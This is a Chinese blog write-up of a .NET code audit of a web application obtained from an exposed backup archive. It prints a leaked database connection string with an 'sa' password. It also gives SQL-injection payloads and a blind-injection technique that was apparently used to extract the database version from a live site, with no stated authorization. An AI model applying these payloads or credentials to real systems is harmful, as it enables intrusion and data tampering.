点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

代码审计.Net 绕过异常防火墙-从信息泄露到SQL注入

0、前言

首先,这是我第一次深入的对Web应用的.Net代码审计. 之前虽审计过由py、java组织的项目以及基于Unity C#技术栈项目,但从未对Web应用的.Net深入的代码审计过,因此将其记录下来.
虽然之前也得到过一些资产的Web应用DLL源码,但鉴于基本上是在已经GetShell的情况下获取的,且是单站点应用. 因此并无深入审计拿通杀的必要

1、资产搜集阶段

资产搜集,发现C段8080端口某路径下有未知后端应用DLL: http://*.*.*.*:8080/backup/v2/bin.zip
解压bin.zip:

BaseCode.dll
conf.xml.config
DAL.dll
EntityFramework.dll
ExcelExportor.dll
HtmlReport.dll
Ionic.Zip.dll
itextsharp.dll
NPOI.dll
PublicService.dll
Radiya.Controls.dll
RadiyaControls.dll
rf.Config
RFModels.dll
RFReport.dll
SF_WEB.dll
SF_WEB.pdb
System.ComponentModel.DataAnnotations.dll
System.Web.Abstractions.dll
System.Web.*.dll
Telerik.Web.Mvc.dll
UPOPSDK.dll
UPOPSDK.xml
zh-Hans

首先,打开配置文件看看是否有数据库ip、端口、用户名等信息. 在查看了rf.Config、conf.xml.config后,果然发现了数据库敏感信息

  <connectionStrings>
    <!--<add name="RF" connectionString="Data Source=orcl;Persist Security Info=True;User ID=budget;Password=budget;Unicode=True"
      providerName="System.Data.OracleClient" />-->
    <add key="DataBaseType" value="SQLSERVER" />
    <add name="RF" connectionString="Data Source=192.68.0.201;Initial Catalog=pzhsf;User ID=sa;Password=pzh123PZH2"
       providerName="System.Data.SqlClient" />
  </connectionStrings>

以上信息泄露虽然无法连接到数据库,但勉强能算个中危. 接下来正式开始代码审计流程

2、查找资产归属

搜集了以下该ip其他端口信息,均未发现对接该后端的前台系统
并且该源代码配置中并未包含任何源站信息,因此只能根据源站调用的api的返回值来确定该代码所属资产

首先,利用DLL反编译神器dnSpy,namespaces如下所示:

namespace SF_WEB{}
namespace SF_WEB.Controllers{}
namespace SF_WEB.Helpers{}
namespace SF_WEB.Models{}

发现有登录模块,因此直奔Controllers账号登陆部分查看登陆部分api的源码

namespace SF_WEB.Controllers{
  class AccountControllers{
    public ActionResult LogOn(){}
    public ActionResult LogOn(LogOnModel, string){}
    public ActionResult LogOnSSO(string){}
  }
}

源代码太长了,部分代码如下所示 avatar 删减出来的逻辑部分如下所示

// SF_WEB.Controllers.AccountController
// Token: 0x06000153 RID: 339 RVA: 0x00007C94 File Offset: 0x00005E94
[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl){
	if (base.Session["ValidateCode"] == null){ //验证码失效
		return "验证码失效,请重新输入。";
	}else if (base.ModelState.IsValid){
		if (base.Session["ValidateCode"].ToString() != model.ValidateCode){ //验证码错误
			return "验证码错误。";
		}else{
			Account account = new Account();
			string userId = null;
			string userIdentity = account.WebValidateUser(model.UserName.Replace(" ", ""), model.Password, ref userId, "student");
			if (userIdentity != null){ //登陆成功
                			...此处设置Cookie等信息...
                			return base.RedirectToAction("Default", "Home");
			}else{    //登录名称或密码不正确,请确认。
                			return  "登录名称或密码不正确,请确认。";
			}
		}
	}
	return base.View(model);
}

从以上代码中可以看出
当验证码失效时,后端返回”验证码失效,请重新输入。”
当验证码错误时,后端返回”验证码错误”
当登陆密码错误时,后端返回”登录名称或密码不正确,请确认。”

在测试了一些站点以后,终于发现了跟该后端一样的回显的站点,至此可以确认源代码资产所属
avatar

2、第一次失败

简单审计了一下,发现一些接口直接将用户输入的数据格式化进sql语句后查询,极易引发sql注入
因此先从登录入口看看有没有注入风险

登录接口/Account/LogOn 将会调用下图红线中的函数
avatar 继而执行下面的WebValidateUser
avatar

既然WebValidateUser中username、password都是用户输入的值,并且将username、password格式化进SQL语句并进行查询,那这样就方便了
想要在以下格式化里构造一个注入简直不要太简单

string.Format("SELECT studentId,studentNo,studentName  FROM base_student WHERE (idNumber='{0}' or studentNo='{0}') AND password = '{1}' AND statusId='{2}'", username, password, onLineStatusId);

举个例子: 当我输入password = “’ or password!=’1” 时,SQL语句理论上会变为

SELECT studentId,studentNo,studentName  FROM base_student WHERE (idNumber='{0}' or studentNo='{0}') AND password = '' or password!='1' AND statusId='{2}'

在正常情况下,就能直接绕过身份密码验证,直接免密码登录

当时我就是那么想的,结果我发现远远没我想的那么简单
我尝试了几个简单的注入payload,发现请求直接没有返回值了,连响应也没有
我以为是简单的payload出了点问题. 于是我又输入了几个注入payload在password和username,又没反应. 我已经感觉到不对劲了

在这里,无论我尝试了多少种payload,都绕不过去
但是纵观整个代码,我却没有看到任何过滤的点
于是我转头放弃,去分析其他的api接口

3、深入分析

在大批量fuzz各api接口后后,我终于观测到了一个疑似能盲注的接口
在修改密码的函数ChangePassword(ChangePasswordModel)中

namespace SF_WEB.Controllers{
  class AccountControllers{
    public ActionResult ChangePassword(ChangePasswordModel){}
  }
}

最终会调用这一行代码

string text = string.Format("SELECT studentId  FROM base_student WHERE studentId = '{0}' AND PASSWORD = '{1}'", studentId, oldPassword);

在这一行代码中,studentId是用户无法输入的(系统根据session自动提取),oldPassword是用户自定义的
当此时oldPassword = “’ or password!=’1” 时,该接口正常改了密码. 也就是说在没有输入密码的情况下成功修改了密码,证明此处存在缺陷

通过进一步测试该缺陷,总结了以下这几条规律:
1、注入的payload的字段必须是password,例如 ‘ or password != ‘’ and password = ‘
2、以上规则只在修改密码/Account/ChangePassword接口触发
3、payload若包含关系运算符,则左侧必须为password字段,例如 ‘ or password = if(password = ‘1’,’1’,’0’) and password = ‘
4、password字段的长度不可能低于6

(我不得不承认,总结出来的规则简直像规则类怪谈一样奇葩又离谱,我也不知道到底是何方神圣能写出这种waf/拦截规则.)

在这里,看似很难利用,但password是可控的,是可以通过正常业务被更改的. 因此可以直接在这里构造盲注语句

[此时的password]' and password = concat(substring(version(),1,1),substring(version(),1,1),substring(version(),1,1),substring(version(),1,1),substring(version(),1,1),substring(version(),1,1)) + '

payload展开后如下所示

[此时的password]' and password =
concat(
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1)
) + '

后端完整执行的sql语句如下所示

SELECT studentId  
FROM base_student 
WHERE 
	studentId = '{0}' AND 
    	PASSWORD = '[此时的password]' and 
    	password = concat(
    		substring(version(),1,1),
		substring(version(),1,1),
		substring(version(),1,1),
		substring(version(),1,1),
		substring(version(),1,1),
		substring(version(),1,1)
	) + ''

当且仅当password的值等于version()第一个字符拼接6次时,该select语句返回studentId,否则不返回任何值. 可以根据此规则进行盲注
Tips: 为什么要重复六次substring(version(),1,1)呢?因为password长度必大于等于6,substring(version(),1,1)必须拼接6次
Tips: 为什么不使用mysql自带的REPEAT函数?因为当时没想到

写个脚本令password通过正常业务被修改为’000000’、’111111’、’222222’….以此遍历来慢慢找到version()的第1个字符
再经过几次遍历后,终于找到了version()的第一个字符为5,证明该盲注法可行

再写个脚本,循环上述规律遍历找到version的第n个字符的值
多次遍历后,终于找全了version()的所有字符: 5.6.49-log,证明此处存在SQL注入漏洞

4、最后调查

分析了一下原因,发现唯一一个可能出问题的地方就是IDataAccess接口的实现类在实现GetDataTable方法的时候出了点问题

namespace APP.DAL{
  interface IDataAccessObject{
    public DataTable GetDataTable(string queryString){}
  }
}

在看了一遍该接口的实现类代码以后,发现其基本逻辑也就是查SQL后将其内部序列化为完整的DataTable实例,并无任何过滤点
在此,我只能粗略的得出大概率是被waf挡了

5、结束

后面本来还想继续测试的,因为在审计时发现了几个疑似的文件上传点和逻辑漏洞. 但后面在测试ChangePassword接口时疑似在Update语句中执行了OR语句(搞不好整个表的用户信息都给他改了,人都麻了),现在正在排查风险中. 因此不敢再继续测下去了

此文章由leeya_bug创作,禁止抄袭转载